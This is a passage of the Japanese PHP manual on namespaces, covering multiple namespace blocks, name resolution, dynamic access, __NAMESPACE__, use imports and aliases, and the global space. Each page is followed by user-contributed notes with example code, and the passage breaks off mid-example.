namespace の波括弧の外側に書くことができる PHP コードは、最初の declare 文だけです。

例4 複数の名前空間および名前空間に属さないコードの宣言

<?php
declare(encoding='UTF-8');
namespace MyProject {

const CONNECT_OK = 1;
class Connection { /* ... */ }
function connect() { /* ... */  }
}

namespace { // global code
session_start();
$a = MyProject\connect();
echo MyProject\Connection::start();
}
?>

User Contributed Notes

dauser at daexample dot com 14-Jun-2017 11:18
There are rational examples of where the ability to blend multiple namespaces into a single file is not only desirable but also absolutely necessary.  An example of where this ability is useful is over in the very popular phpseclib library where they are PSR-4 compliant but, in order to be compliant, they have to read a directory of files to know what classes are available so that the autoloader can load the correct files.  If they, instead, just bundled the defaults into one file using this mechanism already supported by PHP core, there would be no need to do extraneous scanning of the file system.

That's just one legitimate use-case where strict compliance with PSRs gets in the way of good software development.
dominic_mayers at yahoo dot com 24-Sep-2016 02:33
If you have the habit to always use the closing PHP tag "?>" in your test files, remember that with the bracketed syntax code outside the brackets, including new lines outside the PHP tags,  is not allowed.  In particular, even though PHP sees a new line after the closing tag  as a part of the line and eats it, some editors, such as  Gedit, Gvim, Vim and Nano in Ubuntu,  will  add yet another new line after this new line and this will create an error.
Ishan Fernando 25-Jun-2015 07:15
//call same named function using namespace

//food.php

<?php
namespace Food;

require ('Apple.php');
require('Orange.php');

use Apples;
use Oranges;

  Apples\eat();
  Oranges\eat();
 ?>

//Apple.php
<?php
namespace Apples;

function eat()
{
  echo "eat apple";
}
?>

//Orange.php
<?php
namespace Oranges;

function eat()
{
  echo "eat Orange";
}
?>
jigar dot vy at gmail dot com 24-Jun-2015 12:52
<?php

// You cannot mix bracketed namespace declarations with unbracketed namespace declarations - will result in a Fatal error

namespace a;

echo "I belong to namespace a";

namespace b {
    echo "I'm from namespace b";
}
Rahul Sonar 21-Feb-2015 09:43
<?php
//Namespace can be used in this way also
namespace MyProject {

function connect() { echo "ONE";  }
    Sub\Level\connect();
}

namespace MyProject\Sub {

function connect() { echo "TWO";  }
    Level\connect();
}

namespace MyProject\Sub\Level {

    function connect() { echo "THREE";  }
    \MyProject\Sub\Level\connect(); // OR we can use this as below
    connect();
}
leaksin [ at ] gmail [ dot ] com 30-Jul-2013 10:04
using of global namespaces and multiple namespaces in one PHP file increase the complexity and decrease readability of the code.
Let's try not use this scheme even it's very necessary (although there is not)


名前空間の使用法: 基本編

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

名前空間の使い方についてあれこれ言う前に、まずは PHP がどのようにしてコード中の要素の名前空間を知るのかを理解しておくことが重要です。 PHP の名前空間は、ファイルシステムにたとえて考えることができます。 たとえば、ファイルシステム内のファイルにアクセスするには次の 3 つの方法があります。

  1. foo.txt のような相対ファイル名を使う。これは currentdirectory/foo.txt と解釈されます。ここで、 currentdirectory は現在いるディレクトリを表します。したがって、カレントディレクトリが /home/foo であった場合はこれは /home/foo/foo.txt となります。
  2. subdirectory/foo.txt のような相対パス名を使う。これは currentdirectory/subdirectory/foo.txt と解釈されます。
  3. /main/foo.txt のような絶対パス名を使う。これは /main/foo.txt と解釈されます。
PHP の名前空間内の要素についても同じ理屈があてはまります。 たとえば、クラス名を参照するには次の 3 つの方法があります。
  1. $a = new foo(); あるいは foo::staticmethod(); のような非修飾名 あるいはプレフィックスなしのクラス名。 現在の名前空間が currentnamespace である場合、これは currentnamespace\foo と解釈されます。 名前空間に属さないグローバルなコードにおいては、これは foo と解釈されます。 注意: 修飾されていない関数や定数は、名前空間内にその関数や定数がなければ グローバルな関数あるいは変数とみなされます。詳細は 名前空間の使用法: グローバルな関数/定数への移行 を参照ください。
  2. $a = new subnamespace\foo(); あるいは subnamespace\foo::staticmethod(); のような修飾名 あるいはプレフィックスつきクラス名。 現在の名前空間が currentnamespace である場合、これは currentnamespace\subnamespace\foo と解釈されます。 名前空間に属さないグローバルなコードにおいては、これは subnamespace\foo と解釈されます。
  3. $a = new \currentnamespace\foo(); あるいは \currentnamespace\foo::staticmethod(); のような完全修飾名 あるいはグローバルプレフィックス演算子つきのクラス名。 これは、常にコードで記述されたとおりの名前である currentnamespace\foo と解釈されます。

これら 3 つの構文を実際のコードで使う例を次に示します。

file1.php

<?php
namespace Foo\Bar\subnamespace;

const FOO = 1;
function foo() {}
class foo
{
    static function staticmethod() {}
}
?>

file2.php

<?php
namespace Foo\Bar;
include 'file1.php';

const FOO = 2;
function foo() {}
class foo
{
    static function staticmethod() {}
}

/* 非修飾名 */
foo(); // Foo\Bar\foo 関数と解釈されます
foo::staticmethod(); // Foo\Bar\foo クラスの staticmethod メソッドと解釈されます
echo FOO; // 定数 Foo\Bar\FOO と解釈されます

/* 修飾名 */
subnamespace\foo(); // Foo\Bar\subnamespace\foo 関数と解釈されます
subnamespace\foo::staticmethod(); // Foo\Bar\subnamespace\foo クラスの
                                  // staticmethod メソッドと解釈されます
echo subnamespace\FOO; // 定数 Foo\Bar\subnamespace\FOO と解釈されます

/* 完全修飾名 */
\Foo\Bar\foo(); // Foo\Bar\foo 関数と解釈されます
\Foo\Bar\foo::staticmethod(); // Foo\Bar\foo クラスの staticmethod メソッドと解釈されます
echo \Foo\Bar\FOO; // 定数 Foo\Bar\FOO と解釈されます
?>

グローバルなクラス、関数あるいは定数にアクセスするには、完全修飾名を使用して \strlen()、\Exception あるいは \INI_ALL などとすることができます。

例1 グローバルなクラス、関数および定数への名前空間内からのアクセス

<?php
namespace Foo;

function strlen() {}
const INI_ALL = 3;
class Exception {}

$a = \strlen('hi'); // グローバル関数 strlen をコールします
$b = \INI_ALL; // グローバル定数 INI_ALL にアクセスします
$c = new \Exception('error'); // グローバルクラス Exception のインスタンスを作成します
?>

User Contributed Notes

Anonymous 27-Oct-2014 01:08
<?php

namespace Foo;

try {
    // Something awful here
    // That will throw a new exception from SPL
}
catch (Exception as $ex) {
    // We will never get here
    // This is because we are catchin Foo\Exception
}
?>

Instead use fully qualified name for the exception to catch it

<?php

namespace Foo;

try {
    // something awful here
    // That will throw a new exception from SPL
}
catch (\Exception as $ex) {
    // Now we can get here at last
}
?>
tom at tomwardrop dot com 26-Feb-2012 10:06
It seems the file system analogy only goes so far. One thing that's missing that would be very useful is relative navigation up the namespace chain, e.g.

<?php
namespace MyProject {
   class Person {}
}

namespace MyProject\People {
    class Adult extends ..\Person {}
}
?>

That would be really nice, especially if you had really deep namespaces. It would save you having to type out the full namespace just to reference a resource one level up.
Lukas Z 05-Dec-2011 03:25
Well variables inside namespaces do not override others since variables are never affected by namespace but always global:
"Although any valid PHP code can be contained within a namespace, only four types of code are affected by namespaces: classes, interfaces, functions and constants. "

Source: "Defining Namespaces"
http://www.php.net/manual/en/language.namespaces.definition.php
philip dot preisser at arcor dot de 14-Jun-2011 02:34
Working with variables can overwrite equal variables in other namespaces

<?php // php5 - package-version : 5.3.5-1ubuntu7.2

    namespace
    main
    {}

    namespace
    main\sub1
    {
        $data = 1;
    }

    namespace
    main\sub2
    {
        echo $data;// 1
        $data = 2;
    }

    namespace
    main\sub1
    {
        echo $data;// 2
        $data = 1;
    }

    namespace
    {
        echo $data;// 1
    }

?>
Franois Vespa 21-Dec-2010 05:42
It seems you cannot nest a constant declaration within a if statement

<?php

namespace FOO;

if(eval)
const BAR=true;

// will throw the following error:
// PHP Parse error:  syntax error, unexpected T_CONST

// instead use:

if(eval)
define('FOO\BAR',true);

?>
richard at richard-sumilang dot com 27-Mar-2008 01:36
Syntax for extending classes in namespaces is still the same.

Lets call this Object.php:

<?php

namespace com\rsumilang\common;

class Object{
   // ... code ...
}

?>

And now lets create a class called String that extends object in String.php:

<?php

class String extends com\rsumilang\common\Object{
   // ... code ...
}

?>

Now if you class String was defined in the same namespace as Object then you don't have to specify a full namespace path:

<?php

namespace com\rsumilang\common;

class String extends Object
{
   // ... code ...
}

?>

Lastly, you can also alias a namespace name to use a shorter name for the class you are extending incase your class is in seperate namespace:

<?php

namespace com\rsumilang\util;
use com\rsumlang\common as Common;

class String extends Common\Object
{
   // ... code ...
}

?>

- Richard Sumilang


名前空間と動的言語機能

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

PHP における名前空間の実装は、PHP 自身が動的プログラミング言語であるという性質に影響を受けています。 したがって、次の例のようなコードを名前空間を使って書き直すには

例1 要素への動的なアクセス

example1.php:

<?php
class classname
{
    function __construct()
    {
        echo __METHOD__,"\n";
    }
}
function funcname()
{
    echo __FUNCTION__,"\n";
}
const constname = "global";

$a = 'classname';
$obj = new $a; // classname::__construct と表示します
$b = 'funcname';
$b(); // funcname と表示します
echo constant('constname'), "\n"; // global と表示します
?>
完全修飾名 (クラス名に名前空間プレフィックスをつけたもの) を使う必要があります。 動的なクラス名、関数名あるいは定数名においては修飾名と完全修飾名に差はないので、 先頭のバックスラッシュはなくてもかまいません。

例2 名前空間つき要素への動的なアクセス

<?php
namespace namespacename;
class classname
{
    function __construct()
    {
        echo __METHOD__,"\n";
    }
}
function funcname()
{
    echo __FUNCTION__,"\n";
}
const constname = "namespaced";

/* ダブルクォートを使う場合は "\\namespacename\\classname" としなければなりません */
$a = '\namespacename\classname';
$obj = new $a; // namespacename\classname::__construct と表示します
$a = 'namespacename\classname';
$obj = new $a; // これも namespacename\classname::__construct と表示します
$b = 'namespacename\funcname';
$b(); // namespacename\funcname と表示します
$b = '\namespacename\funcname';
$b(); // これも namespacename\funcname と表示します
echo constant('\namespacename\constname'), "\n"; // namespaced と表示します
echo constant('namespacename\constname'), "\n"; // これも namespaced と表示します
?>

文字列中の名前空間名のエスケープに関する注意 を読んでおくことを忘れないようにしましょう。

User Contributed Notes

Daan 19-Sep-2019 08:56
Important to know is that you need to use the *fully qualified name* in a dynamic class name. Here is an example that emphasizes the difference between a dynamic class name and a normal class name.

<?php
namespace namespacename\foo;

class classname
{
    function __construct()
    {
        echo 'bar';
    }
}

$a = '\namespacename\foo\classname'; // Works, is fully qualified name
$b = 'namespacename\foo\classname'; // Works, is treated as it was with a prefixed "\"
$c = 'foo\classname'; // Will not work, it should be the fully qualified name

// Use dynamic class name
new $a; // bar
new $b; // bar
new $c; // [500]: / - Uncaught Error: Class 'foo\classname' not found in

// Use normal class name
new \namespacename\foo\classname; // bar
new namespacename\foo\classname; // [500]: / - Uncaught Error: Class 'namespacename\foo\namespacename\foo\classname' not found
new foo\classname; // [500]: / - Uncaught Error: Class 'namespacename\foo\foo\classname' not found
museyib dot e at gmail dot com 09-Mar-2019 04:48
Be careful when using dynamic accessing namespaced elements. If you use double-quote backslashes will be parsed as escape character.

<?php
    $a="\namespacename\classname"; //Invalid use and Fatal error.
    $a="\\namespacename\\classname"; //Valid use.
    $a='\namespacename\classname'; //Valid use.
?>
m dot mannes at gmail dot com 25-Feb-2017 06:36
Case you are trying call a static method that's the way to go:

<?php
class myClass
{
    public static function myMethod()
    {
      return "You did it!\n";
    }
}

$foo = "myClass";
$bar = "myMethod";

echo $foo::$bar(); // prints "You did it!";
?>
akhoondi+php at gmail dot com 09-Aug-2013 04:17
It might make it more clear if said this way:

One must note that when using a dynamic class name, function name or constant name, the "current namespace", as in http://www.php.net/manual/en/language.namespaces.basics.php is global namespace.

One situation that dynamic class names are used is in 'factory' pattern. Thus, add the desired namespace of your target class before the variable name.

namespaced.php
<?php
// namespaced.php
namespace Mypackage;
class Foo {
    public function factory($name, $global = FALSE)
    {
        if ($global)
            $class = $name;
        else
            $class = 'Mypackage\\' . $name;
        return new $class;
    }
}

class A {
    function __construct()
    {
        echo __METHOD__ . "<br />\n";
    }
}
class B {
    function __construct()
    {
        echo __METHOD__ . "<br />\n";
    }
}
?>

global.php
<?php
// global.php
class A {
    function __construct()
    {
        echo  __METHOD__;
    }
}
?>

index.php
<?php
//  index.php
namespace Mypackage;
include('namespaced.php');
include('global.php');

  $foo = new Foo();

  $a = $foo->factory('A');        // Mypackage\A::__construct
  $b = $foo->factory('B');        // Mypackage\B::__construct

  $a2 = $foo->factory('A',TRUE);    // A::__construct
  $b2 = $foo->factory('B',TRUE);    // Will produce : Fatal error: Class 'B' not found in ...namespaced.php on line ...
?>
Alexander Kirk 06-Jul-2011 12:57
When extending a class from another namespace that should instantiate a class from within the current namespace, you need to pass on the namespace.

<?php // File1.php
namespace foo;
class A {
    public function factory() {
        return new C;
    }
}
class C {
    public function tell() {
        echo "foo";
    }
}
?>

<?php // File2.php
namespace bar;
class B extends \foo\A {}
class C {
    public function tell() {
        echo "bar";
    }
}
?>

<?php
include "File1.php";
include "File2.php";
$b = new bar\B;
$c = $b->factory();
$c->tell(); // "foo" but you want "bar"
?>

You need to do it like this:

When extending a class from another namespace that should instantiate a class from within the current namespace, you need to pass on the namespace.

<?php // File1.php
namespace foo;
class A {
    protected $namespace = __NAMESPACE__;
    public function factory() {
        $c = $this->namespace . '\C';
        return new $c;
    }
}
class C {
    public function tell() {
        echo "foo";
    }
}
?>

<?php // File2.php
namespace bar;
class B extends \foo\A {
    protected $namespace = __NAMESPACE__;
}
class C {
    public function tell() {
        echo "bar";
    }
}
?>

<?php
include "File1.php";
include "File2.php";
$b = new bar\B;
$c = $b->factory();
$c->tell(); // "bar"
?>

(it seems that the namespace-backslashes are stripped from the source code in the preview, maybe it works in the main view. If not: fooA was written as \foo\A and barB as bar\B)
scott at intothewild dot ca 07-Aug-2009 03:33
as noted by guilhermeblanco at php dot net,

<?php

  // fact.php

  namespace foo;

  class fact {

    public function create($class) {
      return new $class();
    }
  }

?>

<?php

  // bar.php

  namespace foo;

  class bar {
  ...
  }

?>

<?php

  // index.php

  namespace foo;

  include('fact.php');

  $foofact = new fact();
  $bar = $foofact->create('bar'); // attempts to create \bar
                                  // even though foofact and
                                  // bar reside in \foo

?>
guilhermeblanco at php dot net 16-Jun-2009 12:04
Please be aware of FQCN (Full Qualified Class Name) point.
Many people will have troubles with this:

<?php

// File1.php
namespace foo;

class Bar { ... }

function factory($class) {
    return new $class;
}

// File2.php
$bar = \foo\factory('Bar'); // Will try to instantiate \Bar, not \foo\Bar

?>

To fix that, and also incorporate a 2 step namespace resolution, you can check for \ as first char of $class, and if not present, build manually the FQCN:

<?php

// File1.php
namespace foo;

function factory($class) {
    if ($class[0] != '\\') {
        echo '->';
         $class = '\\' . __NAMESPACE__ . '\\' . $class;
    }

    return new $class();
}

// File2.php
$bar = \foo\factory('Bar'); // Will correctly instantiate \foo\Bar

$bar2 = \foo\factory('\anotherfoo\Bar'); // Wil correctly instantiate \anotherfoo\Bar

?>


namespace キーワードおよび __NAMESPACE__ 定数

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

PHP には、現在の名前空間内の要素へのアクセスを抽象化するための方法が 2 通りあります。 マジック定数 __NAMESPACE__ および namespace キーワードがそれです。

__NAMESPACE__ の値は文字列で、現在の名前空間の名前が格納されます。 名前空間に属さないグローバルなコードでは、この中身は空文字列となります。

例1 名前空間内のコードでの __NAMESPACE__ の例

<?php
namespace MyProject;

echo '"', __NAMESPACE__, '"'; // "MyProject" と出力します
?>

例2 グローバルなコードでの __NAMESPACE__ の例

<?php

echo '"', __NAMESPACE__, '"'; // "" と出力します
?>
__NAMESPACE__ 定数は、動的に名前を作成する場合に便利です。 たとえば次のようになります。

例3 __NAMESPACE__ による動的な名前の作成

<?php
namespace MyProject;

function get($classname)
{
    $a = __NAMESPACE__ . '\\' . $classname;
    return new $a;
}
?>

namespace キーワードを使用すると、 現在の名前空間あるいはサブ名前空間内の要素を明示的に指定することができます。 これは、クラスにおける self 演算子と同じ意味合いのものです。

例4 名前空間内での namespace 演算子

<?php
namespace MyProject;

use blah\blah as mine; // "名前空間の使用法: エイリアス/インポート" を参照ください

blah\mine(); // MyProject\blah\mine() 関数をコールします
namespace\blah\mine(); // MyProject\blah\mine() 関数をコールします

namespace\func(); // MyProject\func() 関数をコールします
namespace\sub\func(); // MyProject\sub\func() 関数をコールします
namespace\cname::method(); // MyProject\cname クラスの静的メソッド "method" をコールします
$a = new namespace\sub\cname(); // MyProject\sub\cname クラスのオブジェクトのインスタンスを作成します
$b = namespace\CONSTANT; // 定数 MyProject\CONSTANT の値を $b に代入します
?>

例5 グローバルコードでの namespace 演算子

<?php

namespace\func(); // func() 関数をコールします
namespace\sub\func(); // sub\func() 関数をコールします
namespace\cname::method(); // cname クラスの静的メソッド "method" をコールします
$a = new namespace\sub\cname(); // sub\cname クラスのオブジェクトのインスタンスを作成します
$b = namespace\CONSTANT; // 定数 CONSTANT の値を $b に代入します
?>

User Contributed Notes

cornichonche at gmail dot com 22-Feb-2018 12:30
The example 4 is wrong.
Using php 7.2

<?php
namespace monProjet;

use function blah\blah as mine;

blah\mine(); // Will NOT work
mine(); // Will work
?>
a dot schaffhirt at sedna-soft dot de 02-Feb-2010 06:24
Just in case you wonder what the practical use of the namespace keyword is...

It can explicitly refer to classes from the current namespace regardless of possibly "use"d classes with the same name from other namespaces. However, this does not apply for functions.

Example:

<?php
namespace foo;
class Xyz {}
function abc () {}
?>

<?php
namespace bar;
class Xyz {}
function abc () {}
?>

<?php
namespace bar;
use foo\Xyz;
use foo\abc;
new Xyz(); // instantiates \foo\Xyz
new namespace\Xyz(); // instantiates \bar\Xyz
abc(); // invokes \bar\abc regardless of the second use statement
\foo\abc(); // it has to be invoked using the fully qualified name
?>

Hope, this can save someone from some trouble.

Best regards.


名前空間の使用法: エイリアス/インポート

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

外部の完全修飾名をエイリアスで参照したりインポートしたりする機能は、 名前空間において非常に重要なものです。 これは、Unix 系のファイルシステムでファイルやディレクトリへのシンボリックリンクを作成することに似ています。

PHP は定数、関数、クラス、インターフェイス、名前空間のエイリアスやインポートをサポートしています。

エイリアス作成には use 演算子を使用します。 ここに、5 種類すべてのインポート方法の例を示します。

例1 use 演算子によるインポート/エイリアス

<?php
namespace foo;
use My\Full\Classname as Another;

// これは use My\Full\NSname as NSname と同じです
use My\Full\NSname;

// グローバルクラスをインポートします
use ArrayObject;

// 関数をインポートします
use function My\Full\functionName;

// 関数のエイリアスを定義します
use function My\Full\functionName as func;

// 定数をインポートします
use const My\Full\CONSTANT;

$obj = new namespace\Another; // foo\Another クラスのオブジェクトのインスタンスを作成します
$obj = new Another; // My\Full\Classname クラスのオブジェクトのインスタンスを作成します
NSname\subns\func(); // My\Full\NSname\subns\func 関数をコールします
$a = new ArrayObject(array(1)); // ArrayObject クラスのオブジェクトのインスタンスを作成します
// "use ArrayObject" がなければ、foo\ArrayObject クラスのオブジェクトのインスタンスを作成することになります
func(); // 関数 My\Full\functionName を呼びます
echo CONSTANT; // 定数 My\Full\CONSTANT の値を表示します
?>
名前空間つきの名前 (完全修飾形式の名前空間は区切り文字を含んだ Foo\Bar のようなもので、グローバルな場合は区切り文字を含まない FooBar のようになります) では先頭のバックスラッシュは不要で、推奨されないことに注意しましょう。 インポートする名前は完全修飾形式でなければならず、 現在の名前空間からの相対指定で処理されることはないからです。

PHP では、複数の use 文を同一行に置くための便利なショートカットもサポートしています。

例2 use 演算子によるインポート/エイリアスで、複数の use 文を組み合わせる例

<?php
use My\Full\Classname as Another, My\Full\NSname;

$obj = new Another; // My\Full\Classname クラスのオブジェクトのインスタンスを作成します
NSname\subns\func(); // My\Full\NSname\subns\func 関数をコールします
?>

インポートはコンパイル時に行われるので、動的なクラス名、関数名や定数名には影響を及ぼしません。

例3 インポートと動的名

<?php
use My\Full\Classname as Another, My\Full\NSname;

$obj = new Another; // My\Full\Classname クラスのオブジェクトのインスタンスを作成します
$a = 'Another';
$obj = new $a;      // Another クラスのオブジェクトのインスタンスを作成します
?>

さらにインポートの影響が及ぶのは非修飾名および修飾名のみです。 完全修飾名は絶対的なものであり、インポートの影響を受けることはありません。

例4 インポートと完全修飾名

<?php
use My\Full\Classname as Another, My\Full\NSname;

$obj = new Another; // My\Full\Classname クラスのオブジェクトのインスタンスを作成します
$obj = new \Another; // Another クラスのオブジェクトのインスタンスを作成します
$obj = new Another\thing; // My\Full\Classname\thing クラスのオブジェクトのインスタンスを作成します
$obj = new \Another\thing; // Another\thing クラスのオブジェクトのインスタンスを作成します
?>

インポート時のスコープ規則

use キーワードの宣言は、ファイル内の一番外側のスコープ (グローバルスコープ) あるいは名前空間宣言の中で行わなければなりません。 これは、インポートが実行時ではなくコンパイル時に行われるためです。 ブロック内のスコープではインポートできません。 次の例は、use キーワードの間違った使い方を示すものです。

例5 間違ったインポートの例

<?php
namespace Languages;

function toGreenlandic()
{
    use Languages\Danish;

    // ...
}
?>

注意:

インポート規則はファイル単位のものです。つまり、インクルードされたファイルは インクロード元の親ファイルのインポート規則を 引き継ぎません。

use 宣言のグループ化

同じ namespace から複数のクラスや関数そして定数をインポートする際には、 それらをひとつの use にまとめることができます。

<?php

use some\namespace\ClassA;
use some\namespace\ClassB;
use some\namespace\ClassC as C;

use function some\namespace\fn_a;
use function some\namespace\fn_b;
use function some\namespace\fn_c;

use const some\namespace\ConstA;
use const some\namespace\ConstB;
use const some\namespace\ConstC;

// 上記のコードは、グループ化されたuse宣言と同等です。
use some\namespace\{ClassA, ClassB, ClassC as C};
use function some\namespace\{fn_a, fn_b, fn_c};
use const some\namespace\{ConstA, ConstB, ConstC};

User Contributed Notes

eithed at google mail 14-Mar-2021 05:14
Bear in mind that it's perfectly fine to alias namespaces, ie:

<?php
use A\B\C\D\E\User;

new User();
?>

can be also written as:

<?php
use A\B\C\D\E as ENamespace;

new ENamespace\User();
?>

however following will not work:

<?php
use A\B\C\D\E as ENamespace;
use ENamespace\User;

new User();
?>

> PHP Error:  Class "ENamespace\User" not found
info at ensostudio dot ru 05-Sep-2020 10:48
Note: you can import not existed items without errors:
<?php
use UndefinedClass;
use function undefined_fn;
use const UNDEFINED_CONST;
?>
but you cant use/call they:
<?php
$new UndefinedClass; // Error: Use of undefined class
use function undefined_fn; // Error: Use of undefined function
use const UNDEFINED_CONST; // Error: Use of undefined constant
?>
Dhairya Lakhera 27-Jul-2019 01:41
namespace test{

    use test\xyz\tikku;
    use test\xyz\tikku as class_alias;
    use function test\xyz\tikku\foo;
    use function test\xyz\tikku\foo as func_alias;
    use const test\xyz\tikku\ABC;
    use const test\xyz\tikku\ABC as const_alias;

    $obj=new tikku;
    $obj->Display();  // I am in  test\xyz namespace

    $obj=new tikku\dhairya;
    $obj->Display();   // I am in test\xyz\tikku namespace

    $obj=new class_alias\dhairya;
    $obj->Display();   // I am in test\xyz\tikku namespace

    $obj=new \class_alias\dhairya;
    $obj->Display();  // I am in class_alias namespace

}

namespace test\xyz{

   class tikku{
    function Display(){
        echo "I am in ".__namespace__." namespace<br/><hr/>";
    }
   }
}

namespace test\xyz\tikku{

   class dhairya{
    function Display(){
        echo "I am in ".__namespace__." namespace<br/><hr/>";
    }
   }
}

namespace class_alias{

   class dhairya{
    function Display(){
        echo "I am in ".__namespace__." namespace<br/><hr/>";
    }
   }
}
www.codewars.com 07-Jun-2019 01:59
amazing!!

use function strval as numberToString;

var_dump(numberToString(123));

//print
//string(3) "123"
Joey 29-Mar-2018 02:25
For those hoping for an easy fix of DRY with {} unfortunately you can't nest it or do anything cool with it. In case you can only have one per use and if you don't have one then the whole use is assumed to be wrapped in brackets. That means if you do have one you can't use , as normal with use!

Not possible:

    use A\B\C\{
            D, E,
            F\{X, Y, Z}
        },
        X\Y\Z,
        H\{
            I\{
                Y\Y\Y\Y\Y,
                Z, H, E
            },
            J\{
                A\{
                    G\H\J
                    B\N
                },
                G\H\J
            }
        };
Mawia HL 21-Oct-2017 05:03
Here is a handy way of importing classes, functions and conts using a single use keyword:

<?php
use Mizo\Web\ {
   Php\WebSite,
   Php\KeyWord,
   Php\UnicodePrint,
   JS\JavaScript,
   function JS\printTotal,
   function JS\printList,
   const JS\BUAIKUM,
   const JS\MAUTAM
};
?>
xzero at elite7hackers dot net 04-May-2017 11:13
I couldn't find answer to this question so I tested myself.
I think it's worth noting:

<?php
use ExistingNamespace\NonExsistingClass;
use ExistingNamespace\NonExsistingClass as whatever;
use NonExistingNamespace\NonExsistingClass;
use NonExistingNamespace\NonExsistingClass as whatever;
?>

None of above will actually cause errors unless you actually try to use class you tried to import.

<?php
// And this code will issue standard PHP error for non existing class.
use ExistingNamespace\NonExsistingClass as whatever;
$whatever = new whatever();
?>
ZhangLiang 15-Feb-2017 06:16
In Chinese,there is an error in translation:
// 如果不使用 "use \ArrayObject" ，??例化一个 foo\ArrayObject ?象
it should be
// 如果不使用 "use ArrayObject" ，??例化一个 foo\ArrayObject ?象

/*********************************************/
中文下翻?有??
// 如果不使用 "use \ArrayObject" ，??例化一个 foo\ArrayObject ?象
?句???是
// 如果不使用 "use ArrayObject" ，??例化一个 foo\ArrayObject ?象
ultimater at gmail dot com 30-Sep-2016 10:53
Note that "use" importing/aliasing only applies to the current namespace block.

<?php

namespace SuperCoolLibrary
{
    class Meta
    {
        static public function getVersion()
        {
            return '2.7.1';
        }
    }
}

namespace
{
    use SuperCoolLibrary\Meta;
    echo Meta::getVersion();//outputs 2.7.1
}

namespace
{
    echo Meta::getVersion();//fatal error
}

?>

To get the expected behavior, you'd use:
class_alias('SuperCoolLibrary\Meta','Meta');
dominic_mayers at yahoo dot com 20-Sep-2016 11:18
To clarify the distinction between inserting a trait in a class and importing a trait in a namespace, here is an example where we first import and then insert a trait.

<?php
namespace ns1;
trait T {
  static $a = "In T";
}

namespace ns2;
use ns1\T; // Importing the name of trait ns1\T  in the namespace ns2
class C {
  use T; // Inserting trait T in the class C, making use of the imported name.
}

namespace main;
use ns2\C;
echo C::$a; // In T;
dominic_mayers at yahoo dot com 20-Sep-2016 10:50
The keyword "use" has been recycled for three distinct applications:
1- to import/alias classes, traits, constants, etc. in namespaces,
2- to insert traits in classes,
3- to inherit variables in closures.
This page is only about the first application: importing/aliasing. Traits can be inserted in classes, but this is different from importing a trait in a namespace, which cannot be done in a block scope, as pointed out in example 5. This can be confusing, especially since all searches for the keyword "use" are directed to the documentation here on importing/aliasing.
me at ruslanbes dot com 31-Mar-2016 07:34
Note the code `use ns1\c1` may refer to importing class `c1` from namespace `ns1` as well as importing whole namespace `ns1\c1` or even import both of them in one line. Example:

<?php
namespace ns1;

class c1{}

namespace ns1\c1;

class c11{}

namespace main;

use ns1\c1;

$c1 = new c1();
$c11 = new c1\c11();

var_dump($c1); // object(ns1\c1)#1 (0) { }
var_dump($c11); // object(ns1\c1\c11)#2 (0) { }
kelerest123 at gmail dot com 10-Mar-2015 05:50
For the fifth example (example #5):

When in block scope, it is not an illegal use of use keyword, because it is used for sharing things with traits.
anon 30-Jan-2014 09:08
The <?php use ?> statement does not load the class file. You have to do this with the <?php require ?> statement or by using an autoload function.
k at webnfo dot com 07-Apr-2013 01:32
Note that you can not alias global namespace:

use \ as test;

echo test\strlen('');

won't work.
Anonymous 03-Apr-2013 10:02
The last example on this page shows a possibly incorrect attempt of aliasing, but it is totally correct to import a trait \Languages\Languages\Danish.
cl 11-Mar-2013 12:59
Something that is not immediately obvious, particular with PHP 5.3, is that namespace resolutions within an import are not resolved recursively.  i.e.: if you alias an import and then use that alias in another import then this latter import will not be fully resolved with the former import.

For example:
use \Controllers as C;
use C\First;
use C\Last;

Both the First and Last namespaces are NOT resolved as \Controllers\First or \Controllers\Last as one might intend.
x at d dot a dot r dot k dot REMOVEDOTSANDTHIS dot gray dot org 02-Jan-2013 05:13
You are allowed to "use" the same resource multiple times as long as it is imported under a different alias at each invocation.

For example:

<?php
use Lend;
use Lend\l1;
use Lend\l1 as l3;
use Lend\l2;
use Lend\l1\Keller;
use Lend\l1\Keller as Stellar;
use Lend\l1\Keller as Zellar;
use Lend\l2\Keller as Dellar;

...

?>

In the above example, "Keller", "Stellar", and "Zellar" are all references to "\Lend\l1\Keller", as are "Lend\l1\Keller", "l1\Keller", and "l3\Keller".
c dot 1 at smithies dot org 14-Aug-2011 03:26
If you are testing your code at the CLI, note that namespace aliases do not work!

(Before I go on, all the backslashes in this example are changed to percent signs because I cannot get sensible results to display in the posting preview otherwise. Please mentally translate all percent signs henceforth as backslashes.)

Suppose you have a class you want to test in myclass.php:

<?php
namespace my%space;
class myclass {
 // ...
}
?>

and you then go into the CLI to test it. You would like to think that this would work, as you type it line by line:

require 'myclass.php';
use my%space%myclass; // should set 'myclass' as alias for 'my%space%myclass'
$x = new myclass; // FATAL ERROR

I believe that this is because aliases are only resolved at compile time, whereas the CLI simply evaluates statements; so use statements are ineffective in the CLI.

If you put your test code into test.php:
<?php
require 'myclass.php';
use my%space%myclass;
$x = new myclass;
//...
?>
it will work fine.

I hope this reduces the number of prematurely bald people.
thinice at gmail.com 01-Dec-2010 10:07
Because imports happen at compile time, there's no polymorphism potential by embedding the use keyword in a conditonal.

e.g.:

<?php
if ($objType == 'canine') {
  use Animal\Canine as Beast;
}
if ($objType == 'bovine') {
  use Animal\Bovine as Beast;
}

$oBeast = new Beast;
$oBeast->feed();
?>


グローバル空間

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

名前空間の定義がない場合、すべてのクラスや関数の定義はグローバル空間に配置されます。 これは、名前空間に対応する前の PHP がサポートしていた空間です。 名前の先頭に \ をつけると、 名前空間の内部からであってもグローバル空間の名前を指定することができます。

例1 グローバル空間を指定する方法

<?php
namespace A\B\C;

/* この関数は A\B\C\fopen です */
function fopen() {
     /* ... */
     $f = \fopen(...); // グローバルな fopen をコールします
     return $f;
}
?>

User Contributed Notes

hileon at gmail dot com 25-Nov-2015 08:17
This design of access globe name is bad, at least inconvenient.
In case that you have some legacy code, and try to copy and re-use it under some namespace. You have to add prefix "\" on any global function call.
nobody at example dot com 15-May-2015 07:59
In namespaced context the Exception class needs to be prefixed with global prefix operator.

<?php

namespace hey\ho\lets\go;

class MyClass
{
    public function failToCatch()
    {
        try {
            $thing = somethingThrowingAnException();
        } catch (Exception $ex) {
              // Not catched
        }
    }

    public function succeedToCatch()
    {
        try {
